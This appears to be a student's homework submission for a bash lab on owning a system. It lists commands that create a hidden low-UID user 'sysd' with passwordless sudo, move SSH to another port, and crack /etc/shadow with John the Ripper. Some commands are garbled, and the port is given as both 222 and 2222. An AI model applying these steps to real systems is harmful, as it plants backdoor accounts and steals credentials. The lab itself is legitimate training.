Week 6 Homework Submission File: Advanced Bash - Owning the System

Please edit this file by adding the solution commands on the line below the prompt.

Save and submit the completed file for your homework submission.

Step 1: Shadow People

- 1. Create a secret user named sysd. Make sure this user doesn't have a home folder created:
 - sudo adduser --no-create-home sysd
- 2. Give your secret user a password:
 - sudo passwd sysd
- 3. Give your secret user a system UID < 1000:
 - o sudo adduser -uid 777 or usermod -u 777 sysd
- 4. Give your secret user the same GID:
 - sudo adduser -gid 777 or groupmod -g 777 sysd. To add a group `groupadd -g 777 sysd'
- 5. Give your secret user full sudo access without the need for a password:
 - Sudo visudo > sysd ALL=(ALL:ALL) NOPASSWD:ALL
- 6. Test that sudo access works without your password:

sudo -l >

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sysd@scavenger-hunt:~$ sudo -l

Matching Defaults entries for sysd on scavenger-hunt:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/bin\:/snap/bin

User sysd may run the following commands on scavenger-hunt:
    (ALL: ALL) NOPASSWD: ALL
sysd@scavenger-hunt:~$ |
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Step 2: Smooth Sailing

1. Edit the sshd_config file: sudo nano sshd_config > port 222

Step 3: Testing Your Configuration Update

- 1. Restart the SSH service:
 - systemctl restart ssh
- 2. Exit the root account:
 - o exit
- 3. SSH to the target machine using your sysd account and port 2222:
 - o ssh sysd@192.168.6.105 -p 2222
- 4. Use sudo to switch to the root user:
 - o sudo su

Step 4: Crack All the Passwords

- 1. SSH back to the system using your sysd account and port 2222:
 - o ssh sysd@192.168.6.105 -p 2222
- 2. Escalate your privileges to the root user. Use John to crack the entire /etc/shadow file:
 - sudo -s > john /etc/shadow